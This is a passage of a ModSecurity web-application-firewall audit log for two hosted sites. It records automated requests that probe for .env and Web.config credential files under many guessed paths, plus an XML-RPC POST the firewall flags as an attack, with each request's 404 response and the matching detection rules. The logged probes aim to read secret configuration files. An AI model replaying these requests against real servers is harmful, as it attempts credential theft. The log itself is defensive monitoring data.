GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fb9da267fa79f686e268fa80267b08cb1750032132; expires=Mon, 16 Jun 2025 01:02:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e011644-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/main_user/.env"] [unique_id "aE9fBKgCBnvq3q-iXzIBLAAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032132270301 690501 (- - -) Stopwatch2: 1750032132270301 690501; combined=2169, p1=469, p2=1593, p3=0, p4=0, p5=106, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e011644-Z-- --e6b11f0d-A-- [16/Jun/2025:05:32:14.906969 +0530] aE9fBapdvXW4_hknQUUxoQAAAAo 128.199.112.101 40536 127.0.0.1 7081 --e6b11f0d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e6b11f0d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e6b11f0d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9fBapdvXW4_hknQUUxoQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032133908404 998621 (- - -) Stopwatch2: 1750032133908404 998621; combined=2335, p1=400, p2=1558, p3=43, p4=59, p5=172, sr=105, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6b11f0d-Z-- --ebeaf150-A-- [16/Jun/2025:05:32:19.854319 +0530] aE9fC1EBvmqd8j7Fed2otAAAABM 185.177.72.210 40844 127.0.0.1 7081 --ebeaf150-B-- GET /serve-browserbench/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ebeaf150-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=065e4fc5e8c523787368e7e6461bf5341750032139; expires=Mon, 16 Jun 2025 01:02:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ebeaf150-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/serve-browserbench/.env"] [unique_id "aE9fC1EBvmqd8j7Fed2otAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032139153856 700560 (- - -) Stopwatch2: 1750032139153856 700560; combined=1901, p1=342, p2=1438, p3=0, p4=0, p5=121, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ebeaf150-Z-- --ab1fd256-A-- [16/Jun/2025:05:32:24.846442 +0530] aE9fENVsbyFDndheOrkxewAAAAE 185.177.72.210 60064 127.0.0.1 7081 --ab1fd256-B-- GET /temanr10/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab1fd256-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=143f35e98fa45eae5ef757ec386042ec1750032144; expires=Mon, 16 Jun 2025 01:02:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab1fd256-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/temanr10/.env"] [unique_id "aE9fENVsbyFDndheOrkxewAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032144188728 657778 (- - -) Stopwatch2: 1750032144188728 657778; combined=1719, p1=362, p2=1236, p3=0, p4=0, p5=120, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab1fd256-Z-- --59a44248-A-- [16/Jun/2025:05:32:25.899272 +0530] aE9fEa9aeHfzqoyJ7PMgVgAAABY 185.177.72.210 60110 127.0.0.1 7081 --59a44248-B-- GET /mongodb/config/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59a44248-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be71aaf69875e38180793612971d0ba31750032145; expires=Mon, 16 Jun 2025 01:02:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59a44248-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mongodb/config/dev/.env"] [unique_id "aE9fEa9aeHfzqoyJ7PMgVgAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032145173923 725412 (- - -) Stopwatch2: 1750032145173923 725412; combined=2004, p1=390, p2=1516, p3=0, p4=0, p5=97, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59a44248-Z-- --2730344e-A-- [16/Jun/2025:05:32:27.004930 +0530] aE9fEvbo0R64L12N_alRRQAAAAQ 185.177.72.210 60158 127.0.0.1 7081 --2730344e-B-- GET /:8008/system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2730344e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6fb9a3034345fbf0926014d687c402601750032146; expires=Mon, 16 Jun 2025 01:02:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2730344e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/system/.env"] [unique_id "aE9fEvbo0R64L12N_alRRQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032146335665 669345 (- - -) Stopwatch2: 1750032146335665 669345; combined=2456, p1=507, p2=1839, p3=0, p4=0, p5=109, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2730344e-Z-- --286e9b61-A-- [16/Jun/2025:05:32:30.779263 +0530] aE9fFq9aeHfzqoyJ7PMgWAAAABY 185.177.72.210 37970 127.0.0.1 7081 --286e9b61-B-- GET /credentials/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --286e9b61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5e4b5ffceadecdfb1a6e4dbacf68412c1750032150; expires=Mon, 16 Jun 2025 01:02:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --286e9b61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.production"] [unique_id "aE9fFq9aeHfzqoyJ7PMgWAAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032150120995 658345 (- - -) Stopwatch2: 1750032150120995 658345; combined=1944, p1=385, p2=1453, p3=0, p4=0, p5=105, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --286e9b61-Z-- --21db502c-A-- [16/Jun/2025:05:32:37.775569 +0530] aE9fHapdvXW4_hknQUUxqwAAAAo 185.177.72.210 38146 127.0.0.1 7081 --21db502c-B-- GET /:8080/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21db502c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=545e9f52292c736aa72f4b7fe25877c91750032157; expires=Mon, 16 Jun 2025 01:02:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21db502c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/front-app/.env"] [unique_id "aE9fHapdvXW4_hknQUUxqwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032157075363 700271 (- - -) Stopwatch2: 1750032157075363 700271; combined=1745, p1=406, p2=1242, p3=0, p4=0, p5=97, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21db502c-Z-- --ad39d06a-A-- [16/Jun/2025:05:32:41.035922 +0530] aE9fIPthHqQhfrOWofuLCwAAAAA 185.177.72.210 55212 127.0.0.1 7081 --ad39d06a-B-- GET /cms/Web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad39d06a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a4d3cba417f31cb63ace91bb2fc0ffd81750032160; expires=Mon, 16 Jun 2025 01:02:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad39d06a-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cms/Web.config"] [unique_id "aE9fIPthHqQhfrOWofuLCwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cms/Web.config"] [unique_id "aE9fIPthHqQhfrOWofuLCwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032160376343 659652 (- - -) Stopwatch2: 1750032160376343 659652; combined=2008, p1=384, p2=1462, p3=0, p4=0, p5=162, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad39d06a-Z-- --59a44248-A-- [16/Jun/2025:05:32:47.138510 +0530] aE9fJqgCBnvq3q-iXzIBOgAAABc 185.177.72.210 55418 127.0.0.1 7081 --59a44248-B-- GET /:5601/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59a44248-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=de47a35acd59e9ed22eb133fb57cf2261750032166; expires=Mon, 16 Jun 2025 01:02:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59a44248-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/rest/.env"] [unique_id "aE9fJqgCBnvq3q-iXzIBOgAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032166436047 702526 (- - -) Stopwatch2: 1750032166436047 702526; combined=2029, p1=445, p2=1490, p3=0, p4=0, p5=93, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59a44248-Z-- --286e9b61-A-- [16/Jun/2025:05:32:52.497072 +0530] aE9fK6gCBnvq3q-iXzIBPAAAABc 185.177.72.210 50498 127.0.0.1 7081 --286e9b61-B-- GET /:8880/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --286e9b61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=395b3485d058fd167fceaaa50c0fd6fc1750032172; expires=Mon, 16 Jun 2025 01:02:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --286e9b61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/environnements/.env"] [unique_id "aE9fK6gCBnvq3q-iXzIBPAAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032171798954 698182 (- - -) Stopwatch2: 1750032171798954 698182; combined=1859, p1=423, p2=1345, p3=0, p4=0, p5=91, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --286e9b61-Z-- --4c928c66-A-- [16/Jun/2025:05:32:55.602117 +0530] aE9fLqgCBnvq3q-iXzIBPQAAABc 185.177.72.210 50610 127.0.0.1 7081 --4c928c66-B-- GET /:5000/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c928c66-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6c9bff74509f922506799f153b359ff21750032175; expires=Mon, 16 Jun 2025 01:02:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c928c66-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/administrateur/.env.production"] [unique_id "aE9fLqgCBnvq3q-iXzIBPQAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032174906688 695492 (- - -) Stopwatch2: 1750032174906688 695492; combined=1990, p1=430, p2=1455, p3=0, p4=0, p5=104, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c928c66-Z-- --f4e4fb3d-A-- [16/Jun/2025:05:32:57.645907 +0530] aE9fMNNEcm-DhAkC0ibY0gAAAAY 185.177.72.210 50696 127.0.0.1 7081 --f4e4fb3d-B-- GET /acme/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4e4fb3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80965bc4f191d00667c771bea681299a1750032177; expires=Mon, 16 Jun 2025 01:02:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4e4fb3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/acme/.env"] [unique_id "aE9fMNNEcm-DhAkC0ibY0gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032176993967 652004 (- - -) Stopwatch2: 1750032176993967 652004; combined=1734, p1=394, p2=1242, p3=0, p4=0, p5=97, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4e4fb3d-Z-- --8be8b714-A-- [16/Jun/2025:05:33:03.868262 +0530] aE9fN_thHqQhfrOWofuLEwAAAAA 185.177.72.210 36586 127.0.0.1 7081 --8be8b714-B-- GET /:8880/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8be8b714-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa8c864e3f82ec23ee51e39d08017de41750032183; expires=Mon, 16 Jun 2025 01:03:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8be8b714-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file 